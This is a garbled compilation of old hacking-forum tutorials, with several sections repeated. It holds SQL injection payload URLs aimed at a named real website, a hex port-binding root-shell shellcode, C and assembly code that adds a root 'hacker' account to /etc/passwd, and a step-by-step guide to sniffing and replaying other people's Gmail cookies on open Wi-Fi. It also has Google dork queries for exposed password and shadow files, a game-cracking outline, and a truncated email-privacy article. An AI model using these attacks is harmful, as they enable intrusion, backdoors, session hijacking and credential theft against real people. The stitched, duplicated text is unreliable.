Huy guys,
This's just little information I wanna show to u all here. It's about database character encoding used on server. As u know that there are lots of character encoding method used by webmaster out there such as UTF 8, latin1, etc. Each of encoding techniques has its effective way for showing characters in the client machine. What does it mean ?
Okay, suppose that we have webserver with latin1-encoded database. Latin1 will support character from The Americas, Western Europe, Oceania, and much of Africa. Client user will get character/output from webserver normally. But, how if the client is from East -Asian ?? Sure, latin1 encoding technique won't support it. So, what the relation between latin1 encoding and database SQL ?
Well guys...
#1. Let's take one sample vulnerable web :
http://www.iptek.net.id/ind/?mnu=1&ch=berita&id=-659 union all select 1,2,3,4,5,6,7,8,9,10/*
#2. Check the database version
http://www.iptek.net.id/ind/?mnu=1&ch=berita&id=-659 union all select 1,2,3,version(),5,6,7,8,9,10/*
Look !!
Nothing appear on the screen, why ??
This's because the webserver is using another encoding instead of UTF8. How do we know that it uses UTF8 for encoding ?
I just guess since UTF 8 is generally used by most webserver out there. And how do we resolve this ?
#3. Use another character encoding
http://www.iptek.net.id/ind/?mnu=1&ch=berita&id=-659 union all select 1,2,3,convert(version() using latin1),5,6,7,8,9,10/*
Why we should use latin1 not the other character encoding ??
Because latin 1 is the previous character encoding developed on SQL (version 3/4) before UTF8. So, we can guess from here that latin 1 must be used instead of UTF 8.
#4. Yuppy... now the database version could be read on the screen.
Most SQL-injector usually forget about this technique. So, hope u won't forget this after u read my article.
Cheers Liamo. :)
It's not an easy task to find a vulnerable service and find an exploit for it. It's also not easy to defend against users who might want to exploit y
our system, if you are a system administrator. However, writing an exploit by yourself, to convert a news line from bug tracker into a working lockpic
k, is much more difficult. This article is not a guide on writing exploits, nor an overview of popular vulnerabilities. This is a step-by-step guide o
n developing a shellcode, a crucial point of any exploit software. Hopefully, learning how they work will help conscientious and respectable developer
s and system administrators to understand how malefactors think and to defend their systems against them.
How an Exploit Works
Take any exploit downloaded from the internet that promises you an easy root shell on a remote machine, and examine its source code. Find the most un
intelligible piece of the code; it will be there, for sure. Most probably, you will find a several lines of strange and unrelated symbols; som
ething like this:
char shellcode[] =
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"
"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"
"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"
"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"
"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"
"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"
"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";
This is shellcode, also sometimes referred to as "bytecode." Its content is not a magic word or random symbols. This is a set of low-level machine co
mmands, the same as are in an executable file. This example shellcode opens port 4444 on a local linux box and ties a Bourne shell to it with root pri
vileges. With a shellcode, you can also reboot a system, send a file to an email, etc. The main task for an exploit program is therefore to make this
shellcode work.
Take, for example, a widely known error-buffer overflow. Developers often check data that has been received as input for functions. A simple example{
: } the developer creates a dynamic array, allocates for it 100 bytes, and does not control the real number of elements. All elements that are out of
the bounds of this array will be put into a stack, and a so-called buffer overflow will occur. An exploit's task is to overflow a buffer and, after t
hat, change the return address of system execution to the address of the shellcode. If a shellcode can get control, it will be executed. It's pretty s
imple.
As I already said, this article is not a guide for writing exploits. There are many repositories with existing shellcodes (shellcode.org, Metasploit)
; however, it is not always enough. A shellcode is a low-level sequence of machine commands closely tied to a dedicated processor architecture and
operating system. This is why understanding how it works can help prevent intrusions into your environment.
What Is It For?
To follow along, I expect you to have at least minimal assembly knowledge. As a platform for experiments, I chose Linux with a 32-bit x86 processor.
Most exploits are intended for Unix services; therefore, they are of most interest. You need several additional tools: Netwide Assembler (nasm
), ndisasm, and hexdump. Most Linux distributions include these by default.
The Process of Building
Shellcode stubs are usually written in assembler; however, it is easier to explain how one works by building it in C and then rewriting the same
code in assembly. This is C code for appending a user into /etc/passwd:
#include
#include
main() {
char *filename = "/etc/passwd";
char *line = "hacker:x:0:0::/:/bin/sh\n";
int f_open;
f_open = open(filename,O_WRONLY|O_APPEND);
write(f_open, line, strlen(line));
close(f_open);
exit(0);
}
All of the code is pretty simple, except maybe the open() function. The constant O_WRONLY|O_APPEND given as a parameter opens the file fact for writi
ng and appends the new data to the end of the file.
Here is a more usable example: executing a Bourne shell:
#include
main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
setreuid(0, 0);
execve(name[0],name, NULL);
}
The setreuid(0,0) call attempts to obtain root privileges (if it is possible). execve(const char filename,const char[] argv, const char[{
] } envp) is a main system call that executes any binary file or script. It has three parameters: filename is a full path to an executable file,
argv[] is an array of arguments, and envp[] is an array of strings in the format key=value. Both arrays must end with a NULL element.
Now consider how to rewrite the C code given in the first example in assembly. x86 assembly executes system calls with help of a special system inter
rupt that reads the number of the function from the EAX register and then executes the corresponding function. The function codes are in the file /usr
/include/asm/unistd.h. For example, a line in this file, #define __NR_ open 5, means that the function open() has the identification number 5. In a si
milar way, you can find all other function codes: exit() is 1, close() is 6, setreuid() is 70, and execve() is 11. This knowledge is enough to wri
te a simple working application. The /etc/passwd amendment application code in assembly is:
section .data
filename db '/etc/passwd', 0
line db 'hacker:x:0:0::/:/bin/sh',0x0a
section .text
global _start
_start:
; open(filename,O_WRONLY|O_APPEND)
mov eax, 5
mov ebx, filename
mov ecx, 1025
int 0x80
mov ebx, eax
; write(f_open, line, 24)
mov eax, 4
mov ecx, line
mov edx, 24
int 0x80
; close(f_open)
mov eax, 6
int 0x80
; exit(0)
mov eax, 1
mov ebx, 0
int 0x80
It's a well-known fact that an assembly program consists of three segments: the data segment, which contains variables; the code segment cont
aining code instructions; and a stack segment, which provides a special memory area for storing data. This example uses only data and code segment
s. The operators section .data and section .text mark their beginnings. A data segment contains the declaration of two char variables: name and li
ne, consisting of a set of bytes (see the db mark in the definition).
The code segment starts from a declaration of an entry point, global _start. This tells the system that the application code starts at the _start lab
el.
The next steps are easy; to call open(), set the EAX register to the appropriate function code: 5. After that, pass parameters for the functi
on. The most simple way of passing parameters is to use the registers EBX, ECX, and EDX. EBX gets the first function parameter, the address of the beg
inning of the filename string variable, which contains a full path to a file and a finishing zero char (most system functions operating with strings d
emand a trailing null). The ECX register gets the second parameter, giving information about file open mode (a constant O_WRONLY|O_APPEND in a numeric
format). With all of the parameters set, the code calls interrupt 0x80. It will read the function code from EAX and calls an appropriate function. Af
ter completing the call, the application will continue, calling write(), close(), and exit() in exactly the same way.
our system, if you are a system administrator. However, writing an exploit by yourself, to convert a news line from bug tracker into a working lockpic
k, is much more difficult. This article is not a guide on writing exploits, nor an overview of popular vulnerabilities. This is a step-by-step guide o
n developing a shellcode, a crucial point of any exploit software. Hopefully, learning how they work will help conscientious and respectable developer
s and system administrators to understand how malefactors think and to defend their systems against them.
How an Exploit Works
Take any exploit downloaded from the internet that promises you an easy root shell on a remote machine, and examine its source code. Find the most un
intelligible piece of the code; it will be there, for sure. Most probably, you will find a several lines of strange and unrelated symbols; som
ething like this:
char shellcode[] =
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"
"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"
"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"
"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"
"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"
"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"
"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";
This is shellcode, also sometimes referred to as "bytecode." Its content is not a magic word or random symbols. This is a set of low-level machine co
mmands, the same as are in an executable file. This example shellcode opens port 4444 on a local linux box and ties a Bourne shell to it with root pri
vileges. With a shellcode, you can also reboot a system, send a file to an email, etc. The main task for an exploit program is therefore to make this
shellcode work.
Take, for example, a widely known error-buffer overflow. Developers often check data that has been received as input for functions. A simple example{
: } the developer creates a dynamic array, allocates for it 100 bytes, and does not control the real number of elements. All elements that are out of
the bounds of this array will be put into a stack, and a so-called buffer overflow will occur. An exploit's task is to overflow a buffer and, after t
hat, change the return address of system execution to the address of the shellcode. If a shellcode can get control, it will be executed. It's pretty s
imple.
As I already said, this article is not a guide for writing exploits. There are many repositories with existing shellcodes (shellcode.org, Metasploit)
; however, it is not always enough. A shellcode is a low-level sequence of machine commands closely tied to a dedicated processor architecture and
operating system. This is why understanding how it works can help prevent intrusions into your environment.
What Is It For?
To follow along, I expect you to have at least minimal assembly knowledge. As a platform for experiments, I chose Linux with a 32-bit x86 processor.
Most exploits are intended for Unix services; therefore, they are of most interest. You need several additional tools: Netwide Assembler (nasm
), ndisasm, and hexdump. Most Linux distributions include these by default.
The Process of Building
Shellcode stubs are usually written in assembler; however, it is easier to explain how one works by building it in C and then rewriting the same
code in assembly. This is C code for appending a user into /etc/passwd:
#include
#include
main() {
char *filename = "/etc/passwd";
char *line = "hacker:x:0:0::/:/bin/sh\n";
int f_open;
f_open = open(filename,O_WRONLY|O_APPEND);
write(f_open, line, strlen(line));
close(f_open);
exit(0);
}
All of the code is pretty simple, except maybe the open() function. The constant O_WRONLY|O_APPEND given as a parameter opens the file fact for writi
ng and appends the new data to the end of the file.
Here is a more usable example: executing a Bourne shell:
#include
main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
setreuid(0, 0);
execve(name[0],name, NULL);
}
The setreuid(0,0) call attempts to obtain root privileges (if it is possible). execve(const char filename,const char[] argv, const char[{
] } envp) is a main system call that executes any binary file or script. It has three parameters: filename is a full path to an executable file,
argv[] is an array of arguments, and envp[] is an array of strings in the format key=value. Both arrays must end with a NULL element.
Now consider how to rewrite the C code given in the first example in assembly. x86 assembly executes system calls with help of a special system inter
rupt that reads the number of the function from the EAX register and then executes the corresponding function. The function codes are in the file /usr
/include/asm/unistd.h. For example, a line in this file, #define __NR_ open 5, means that the function open() has the identification number 5. In a si
milar way, you can find all other function codes: exit() is 1, close() is 6, setreuid() is 70, and execve() is 11. This knowledge is enough to wri
te a simple working application. The /etc/passwd amendment application code in assembly is:
section .data
filename db '/etc/passwd', 0
line db 'hacker:x:0:0::/:/bin/sh',0x0a
section .text
global _start
_start:
; open(filename,O_WRONLY|O_APPEND)
mov eax, 5
mov ebx, filename
mov ecx, 1025
int 0x80
mov ebx, eax
; write(f_open, line, 24)
mov eax, 4
mov ecx, line
mov edx, 24
int 0x80
; close(f_open)
mov eax, 6
int 0x80
; exit(0)
mov eax, 1
mov ebx, 0
int 0x80
It's a well-known fact that an assembly program consists of three segments: the data segment, which contains variables; the code segment cont
aining code instructions; and a stack segment, which provides a special memory area for storing data. This example uses only data and code segment
s. The operators section .data and section .text mark their beginnings. A data segment contains the declaration of two char variables: name and li
ne, consisting of a set of bytes (see the db mark in the definition).
The code segment starts from a declaration of an entry point, global _start. This tells the system that the application code starts at the _start lab
el.
The next steps are easy; to call open(), set the EAX register to the appropriate function code: 5. After that, pass parameters for the functi
on. The most simple way of passing parameters is to use the registers EBX, ECX, and EDX. EBX gets the first function parameter, the address of the beg
inning of the filename string variable, which contains a full path to a file and a finishing zero char (most system functions operating with strings d
emand a trailing null). The ECX register gets the second parameter, giving information about file open mode (a constant O_WRONLY|O_APPEND in a numeric
format). With all of the parameters set, the code calls interrupt 0x80. It will read the function code from EAX and calls an appropriate function. Af
ter completing the call, the application will continue, calling write(), close(), and exit() in exactly the same way.
Today i will Teach u how to Sniff Gmail cookies in Unsecured Wireless network using Wifizoo tool in Backtrack 3
1) mkdir /root/Desktop/wifizoo
2) cd /root/Desktop/wifizoo
3) wget http://wifizoo.info/wifizoo_black_v1.3.tar.bz2
4) tar jxvf wifizoo_black_v1.3.tar.bz2
5) cd /root/Desktop/wifizoo/wifizoo_black_v1.3
Now we'll open the file with kwrite wifizoo.py (python script language) and modify it to match with the interface u use. at the row 50 , it will indicate the interface,
as my card is RT 73 Chipset i use rausb0
Code:
6) conf.iface = 'rausb0?
then make sure u make ur wifi card in Monitor mode
run this command in another Terminal
7) airmon-ng start rausb0
and then monitor the Access Points
8) airodump-ng rausb0
then come back to 1st terminal
and type this command
9) python wifizoo.py -i rausb0 (your Interface)
It can be seen that interface wifizoo launches web port 8000 on the local server and the proxy is available on port 8080.
This will be very useful in the future First, let us connect to wifizoo control panel with firefox:
10)firefox 127.0.0.1:8000
And here's administrative interface Wifizoo
We get down to business by clicking on "Cookies":
heyyy Wifizoo has captured cookies, you can see the image on a cookie google mail.
Before you can use these cookies, you must configure Firefox to connect through proxy turning locally on port 8080. It is in Edit, Preferences, Network, check on Manual proxy configuration and configure the HTTP proxy on port 8080, then
We can now return to the "Cookies" panel Wifizoo hotel. By clicking on the cookie gmail (all information about the cookie, in blue), wifizoo will automatically build on the currently used proxy on port 8080. The indication "Cookie Set!" shows that the cookie has been forged and can be reused>
Then simply click jump to it will take u to Google.com then click mail.
you r done u have Sniffed others cookies.
So never use Unsecure Wireless Networks,
Be secure Stay secure ;)
Author : rez
1) mkdir /root/Desktop/wifizoo
2) cd /root/Desktop/wifizoo
3) wget http://wifizoo.info/wifizoo_black_v1.3.tar.bz2
4) tar jxvf wifizoo_black_v1.3.tar.bz2
5) cd /root/Desktop/wifizoo/wifizoo_black_v1.3
Now we'll open the file with kwrite wifizoo.py (python script language) and modify it to match with the interface u use. at the row 50 , it will indicate the interface,
as my card is RT 73 Chipset i use rausb0
Code:
6) conf.iface = 'rausb0?
then make sure u make ur wifi card in Monitor mode
run this command in another Terminal
7) airmon-ng start rausb0
and then monitor the Access Points
8) airodump-ng rausb0
then come back to 1st terminal
and type this command
9) python wifizoo.py -i rausb0 (your Interface)
It can be seen that interface wifizoo launches web port 8000 on the local server and the proxy is available on port 8080.
This will be very useful in the future First, let us connect to wifizoo control panel with firefox:
10)firefox 127.0.0.1:8000
And here's administrative interface Wifizoo
We get down to business by clicking on "Cookies":
heyyy Wifizoo has captured cookies, you can see the image on a cookie google mail.
Before you can use these cookies, you must configure Firefox to connect through proxy turning locally on port 8080. It is in Edit, Preferences, Network, check on Manual proxy configuration and configure the HTTP proxy on port 8080, then
We can now return to the "Cookies" panel Wifizoo hotel. By clicking on the cookie gmail (all information about the cookie, in blue), wifizoo will automatically build on the currently used proxy on port 8080. The indication "Cookie Set!" shows that the cookie has been forged and can be reused>
Then simply click jump to it will take u to Google.com then click mail.
you r done u have Sniffed others cookies.
So never use Unsecure Wireless Networks,
Be secure Stay secure ;)
Author : rez
No need of explanatino any more ,,,
newbis b careful
note :_ plz use proxy to visit any site u get thru search :
filetype:htpasswd htpasswd
intitle:"index of" ".htpasswd" -intitle:"dist" -apache -htpasswd.c
index.of.private (algo privado)
intitle:index.of master.passwd
inurlasslist.txt (para encontrar listas de passwords)
intitle:"index of..etc" passwd
intitle:admin intitle:login
"incorrect syntax near" (sql script error)
intitle:"the page cannot be found" inetmgr (debilidad en iis4)
intitle:index.of ws_ftp.ini
"supplied arguments is not a valid postgresql result" (possible debilidad sql)
_vti_pvt password intitle:index.of (frontpage)
inurl:backup intitle:index.of inurl:admin
"index of /backup"
index.of.password
index.of.winnt
inurl:"auth_user_file.txt"
"index of /admin"
"index of /password"
"index of /mail"
"index of /" +passwd
index of /" +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
allintitle: "index of/admin"
allintitle: "index of/root"
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
administrator.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index
inurlasswd filetype:txt
inurl:admin filetype:db
inurl:iisadmin
inurl:"auth_user_file.txt"
inurl:"wwwroot/*."
allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history
intitle:"index of" .sh_history
intitle:"index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.1st
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members or accounts
intitle:"index of" user_carts or user _cart
newbis b careful
note :_ plz use proxy to visit any site u get thru search :
filetype:htpasswd htpasswd
intitle:"index of" ".htpasswd" -intitle:"dist" -apache -htpasswd.c
index.of.private (algo privado)
intitle:index.of master.passwd
inurlasslist.txt (para encontrar listas de passwords)
intitle:"index of..etc" passwd
intitle:admin intitle:login
"incorrect syntax near" (sql script error)
intitle:"the page cannot be found" inetmgr (debilidad en iis4)
intitle:index.of ws_ftp.ini
"supplied arguments is not a valid postgresql result" (possible debilidad sql)
_vti_pvt password intitle:index.of (frontpage)
inurl:backup intitle:index.of inurl:admin
"index of /backup"
index.of.password
index.of.winnt
inurl:"auth_user_file.txt"
"index of /admin"
"index of /password"
"index of /mail"
"index of /" +passwd
index of /" +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
allintitle: "index of/admin"
allintitle: "index of/root"
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
administrator.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index
inurlasswd filetype:txt
inurl:admin filetype:db
inurl:iisadmin
inurl:"auth_user_file.txt"
inurl:"wwwroot/*."
allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history
intitle:"index of" .sh_history
intitle:"index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.1st
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members or accounts
intitle:"index of" user_carts or user _cart
Tools used:
-----------
- OllyDbg + plugins
- ImpREC
- Cheat Engine 5.3
- SnagIt
Description:
-----------
[1/4] How to use WriteProcessMemory to sniff trainers
[2/4] How to apply the above if game updates and you can't find any working trainers
[3/4] Basic exporting of code-caves and basic functionality of Cheat Engine (auto-assembler, scripting and making a trainer on the fly)
[4/4] Getting rid of stupid egotistic nags of releasers (Myth, DEViANCE etc...), basic UPX unpacking...
All tutorials have as target the game called Sacred from Ascaron, but are meant for any game !
First tutorial:
-------------
- I used sheep's mega-trainer as a reference;
* side-note : This is addressed to all sites stating that his trainer is for v1.0; WRONG! It's for v1.02 !!! *
- Olly + WriteProcessMemory and sniffed what it writes to the game;
Second tutorial:
---------------
- Explained how sheep's one-sided god mode works;
- Basic exporting of code to clipboard;
- Used SnagIt to get a snapshot of the game code, at "god mode" address;
Third tutorial:
-------------
- "Updated" game from v1.02 to v1.8.6
- Purpose : update sheep's trainer for WHINERS (OMG! I can't find a working trainer - guess what, now you can update the sh!t on your own)
- Basic Cheat Engine scripting based on sheep's code-cave;
- On-the-fly trainer making with CE's engine;
Fourth tutorial:
--------------
- Myth releases are a pain in the ass;
- They pack their files and add .dlls along with them, .dlls which have as purpose blowing a gay nag in the face of the user :|
- Taught how to use Olly to manage basic UPX unpacking and getting rid of the nag;
BIG n0Tes:
-----------
1. Sniffing is for teaching purposes, and is meant to help those who don't have working trainers for updated versions of any game available. If you're caught riping code, you're toasted. We know it when we see it !
2. Excuse any typos or mistakes.
3. Greetz fly out to team Extalia and to sheep for his tremendous work !
-----------
- OllyDbg + plugins
- ImpREC
- Cheat Engine 5.3
- SnagIt
Description:
-----------
[1/4] How to use WriteProcessMemory to sniff trainers
[2/4] How to apply the above if game updates and you can't find any working trainers
[3/4] Basic exporting of code-caves and basic functionality of Cheat Engine (auto-assembler, scripting and making a trainer on the fly)
[4/4] Getting rid of stupid egotistic nags of releasers (Myth, DEViANCE etc...), basic UPX unpacking...
All tutorials have as target the game called Sacred from Ascaron, but are meant for any game !
First tutorial:
-------------
- I used sheep's mega-trainer as a reference;
* side-note : This is addressed to all sites stating that his trainer is for v1.0; WRONG! It's for v1.02 !!! *
- Olly + WriteProcessMemory and sniffed what it writes to the game;
Second tutorial:
---------------
- Explained how sheep's one-sided god mode works;
- Basic exporting of code to clipboard;
- Used SnagIt to get a snapshot of the game code, at "god mode" address;
Third tutorial:
-------------
- "Updated" game from v1.02 to v1.8.6
- Purpose : update sheep's trainer for WHINERS (OMG! I can't find a working trainer - guess what, now you can update the sh!t on your own)
- Basic Cheat Engine scripting based on sheep's code-cave;
- On-the-fly trainer making with CE's engine;
Fourth tutorial:
--------------
- Myth releases are a pain in the ass;
- They pack their files and add .dlls along with them, .dlls which have as purpose blowing a gay nag in the face of the user :|
- Taught how to use Olly to manage basic UPX unpacking and getting rid of the nag;
BIG n0Tes:
-----------
1. Sniffing is for teaching purposes, and is meant to help those who don't have working trainers for updated versions of any game available. If you're caught riping code, you're toasted. We know it when we see it !
2. Excuse any typos or mistakes.
3. Greetz fly out to team Extalia and to sheep for his tremendous work !
When we are talking about protecting email privacy and anonymity we consider that it can be compromised by message interception or an email message contains information that the sender was not intending to pass to the recipient. In this article we will try to explain how email system works, what information can be extracted from regular email message, and how email privacy can be protected.
1. Email privacy - how can it be compromised?
Before we continue with topics on how to protect email privacy, we should understand how the email system works and what are the issues related to email privacy.
How the email system works.
Most common way of sending email is using the ISP (Internet Service Provider) or company mail server. When you click on "send" button, your email software will establish an SMTP (SMTP stands for Simple Mail Transfer Protocol) connection to your email server. Server will attempt to deliver a message directly to your recipient ISP mail server, but in case this server is not accessible at the moment it will deliver the message to the intermediate email server known as MX relay host. After traveling through the MX hosts, message will be delivered to recipient mailbox on his/her ISP mail server. It will be stored there until your recipient retrieves the message using POP (Post Office Protocol) or IMAP (Internet Message Access Protocol) protocol. This is how your email message travels through the Internet from the sender's computer to the recipient's computer. The same way web mail service work, but instead of email software you would need to use web interface to compose or read emails.
How can an email message be intercepted?
Where it can be intercepted? It can be intercepted at each step along the way. Email message is stored on two servers on its way at least: on sender ISP mail server and on recipient ISP mail server. When traveling through the MX hosts, message is stored on each of MX hosts. When your mail is addressed to the bank, investment company, business partners, it can attract attention of IT staff that perform mail server monitoring. And there is nothing that can prevent unscrupulous IT staff with access to the mail server to open and read that message. Other problem is that unauthorized personnel or hackers can have access to the mail server where physical access security and network security are weak.
There is another way to intercept email messages: network traffic interception. In most cases network traffic monitoring is performed by government agencies at ISP level. Email traffic can be rated according to keywords to "suspicious" and stored for later review by government agencies staff – this is how US Carnivore system works.
Email headers anonymity.
When analyzing email message we can get lot of information about its sender. Computer IP address, geographic location, time zone, language preferences, computer LAN name, email software used etc., – all this information can be found in email message. And an important point is that all this info is being passed without sender's knowing about it. Well, what is bad about it, you can ask. This will depend on the way this information can be used. For example, you may not wish your recipient to know that your operating system uses Dutch language as default (e.g. your native language is Dutch), or that you are in Australia now and use one of the local ISPs services. All this information can be easily extracted from the email message headers.
Every email message consists of two parts: message header and message body.
Header part can be compared to a letter envelope. It contains message subject, sender's and recipient's email addresses, date and time message was sent and arrived, lists the points your message went through on its way to recipient. Message headers also contain service information about sender's email software. This information is used to deliver message, and allow tech staff to debug email problems when they occur.
Here is an example message headers:
Return-Path:
Received: from [192.168.157.3] by web5203.mail.foobar.com; Sat, 21 Nov 2003 12:42:20 –0800 PST
Message-ID: <2003114546184545.45639.qmail@foobar.com>
Date: Sat, 21 Nov 2003 12:42:20 -0800 (PST)
From: "Peter J. Smith"
Subject: My Private Message
To: example@yahooo.com
MIME-Version: 1.0
Content-Type: text/html;charset="GB2312"
X-Mailer: Microsoft Outlook Express 5.00.2615.2000
And here is the information we can extract from the headers (using it to draw a picture of the sender):
Sender IP address: [192.168.157.3] points to the sender's computer. Anyone can get further details about ISP (address, phone, fax, email) running a search through the WHOIS databases.
Sender ISP: "web5203.mail.foobar.com" and "@foobar.com" – message was sent using web interface from foobar.com (further details available at the website)
Senders email software: Microsoft Outlook Express 5.00.2615.2000 (this version's known bugs could be used for sending a troyan to the computer)
Senders local time zone: -0800 (PST) US Pacific coast (points to the geographic location of the computer)
Senders native language: charset="GB2312" – Chinese char set (the user's probably a member of the local Chinese community)
It should be noted, that only three lines in the message headers were explicitly supplied by the sender: "from" address, "to" address and "subject" line. All other data was inserted by email software and intermediate servers. Usually users have no control over these headers, but these headers are the most dangerous for email privacy and contain lot of information about the sender. There is no problem to track the message sender using headers data.
Secure email software.
Using right email software is an important point for email security. If you are using buggy email software you are open to hacker attacks since email message contains your email software vendor and version number. There will be enough info to write a specially formatted (to use your email software security vulnerabilities) message to hung your computer or infect it by Trojan. If somebody suspects you to store confidential information on your computer he/she can try to hack in to get it. All the attacker needs to start is your IP address from email message header. Using security holes in your computer software (new Windows vulnerabilities are published almost daily) attacker can gain full access to your computer and in worst case obtain all your email passwords, banking and investment account data, private correspondence, business data etc. All this horror scenarios are not a myth but today's reality, just search on Google on companies offering spying over the Internet. If your competitors can afford spending hundred dollars to know your secrets you are in danger.
Web bugs.
How can be web browsing related to emailing you may ask? It's simple. Most of email applications are capable to display HTML formatted email messages. This is not different from viewing a regular web page, but the web page is displayed in your email software window, not in a browser. When viewing web pages in your email window you are taking the same risk as when browsing, e.g. you have to deal with cookies, Java Scripts, Java, ActiveX controls, etc. IP anonymity and data interception issues should be taken into consideration as well.
There is one popular spying technique: web bugs. To illustrate how they work let us imagine that you are running some online business and have received an email message (possibly business related) form some unknown person:
From: someuser@yahoo.com
To: customer@foobar.com
Subject: Hello!
Hello!
How are you?
I'm fine.
David.
To attract your attention your full name or your company name can be written in "Subject" line. You have opened this message, and after reading it and considering it to be spam you through it away. But you have not noticed that the message was HTML formatted, and it contained an image. Dot symbol after the word "fine" was replaced by a small image, and that image was automatically downloaded from some website by your email software when you had opened the message. Now, the email sender after analyzing web server logs can get some information on you: date and time you have read this email, your IP address, operating system, etc.
All this means that your email privacy can be compromised when you simply open an email message, even without replying to it.
2. How to protect your email privacy.
Even if you have nothing to hide it is a good idea to take care of your email privacy. We have developed recommendations on how to make emailing secure and private as much as possible.
2.1 Use encryption to protect your email messages. The only way to protect email messages from the interception is to encrypt them. There are few techniques to do so.
* PGP and S\MIME encryption. Both PGP and S\MIME encryption are used to encrypt message body only, leaving message headers unprotected. PGP and S\MIME can be used if you require end-to-end encryption. Using those methods requires prior agreement between parties, and "public key" exchange should be done before emailing securely.
* SSL encrypted connection to mail server. SSL can be successfully used to encrypt email traffic in the whole. SSL encrypted transport prevents from message headers and message body interception on the way to/from the mail server while sending/receiving email. SSL can be used to effectively protect from intercepting your email traffic by ISP or government agencies.
Please note, PGP and S\MIME do not provide anonymity. Even if you encrypt email messages with PGP or S/MIME the message headers still remain open, and will be transferred in clear text through the Internet. You have to understand that unencrypted "To:", "From:", "Subject:", etc. fields may disclose your identity and can contain confidential information. In addition to PGP or S/MIME, SSL connection
1. Email privacy - how can it be compromised?
Before we continue with topics on how to protect email privacy, we should understand how the email system works and what are the issues related to email privacy.
How the email system works.
Most common way of sending email is using the ISP (Internet Service Provider) or company mail server. When you click on "send" button, your email software will establish an SMTP (SMTP stands for Simple Mail Transfer Protocol) connection to your email server. Server will attempt to deliver a message directly to your recipient ISP mail server, but in case this server is not accessible at the moment it will deliver the message to the intermediate email server known as MX relay host. After traveling through the MX hosts, message will be delivered to recipient mailbox on his/her ISP mail server. It will be stored there until your recipient retrieves the message using POP (Post Office Protocol) or IMAP (Internet Message Access Protocol) protocol. This is how your email message travels through the Internet from the sender's computer to the recipient's computer. The same way web mail service work, but instead of email software you would need to use web interface to compose or read emails.
How can an email message be intercepted?
Where it can be intercepted? It can be intercepted at each step along the way. Email message is stored on two servers on its way at least: on sender ISP mail server and on recipient ISP mail server. When traveling through the MX hosts, message is stored on each of MX hosts. When your mail is addressed to the bank, investment company, business partners, it can attract attention of IT staff that perform mail server monitoring. And there is nothing that can prevent unscrupulous IT staff with access to the mail server to open and read that message. Other problem is that unauthorized personnel or hackers can have access to the mail server where physical access security and network security are weak.
There is another way to intercept email messages: network traffic interception. In most cases network traffic monitoring is performed by government agencies at ISP level. Email traffic can be rated according to keywords to "suspicious" and stored for later review by government agencies staff – this is how US Carnivore system works.
Email headers anonymity.
When analyzing email message we can get lot of information about its sender. Computer IP address, geographic location, time zone, language preferences, computer LAN name, email software used etc., – all this information can be found in email message. And an important point is that all this info is being passed without sender's knowing about it. Well, what is bad about it, you can ask. This will depend on the way this information can be used. For example, you may not wish your recipient to know that your operating system uses Dutch language as default (e.g. your native language is Dutch), or that you are in Australia now and use one of the local ISPs services. All this information can be easily extracted from the email message headers.
Every email message consists of two parts: message header and message body.
Header part can be compared to a letter envelope. It contains message subject, sender's and recipient's email addresses, date and time message was sent and arrived, lists the points your message went through on its way to recipient. Message headers also contain service information about sender's email software. This information is used to deliver message, and allow tech staff to debug email problems when they occur.
Here is an example message headers:
Return-Path:
Received: from [192.168.157.3] by web5203.mail.foobar.com; Sat, 21 Nov 2003 12:42:20 –0800 PST
Message-ID: <2003114546184545.45639.qmail@foobar.com>
Date: Sat, 21 Nov 2003 12:42:20 -0800 (PST)
From: "Peter J. Smith"
Subject: My Private Message
To: example@yahooo.com
MIME-Version: 1.0
Content-Type: text/html;charset="GB2312"
X-Mailer: Microsoft Outlook Express 5.00.2615.2000
And here is the information we can extract from the headers (using it to draw a picture of the sender):
Sender IP address: [192.168.157.3] points to the sender's computer. Anyone can get further details about ISP (address, phone, fax, email) running a search through the WHOIS databases.
Sender ISP: "web5203.mail.foobar.com" and "@foobar.com" – message was sent using web interface from foobar.com (further details available at the website)
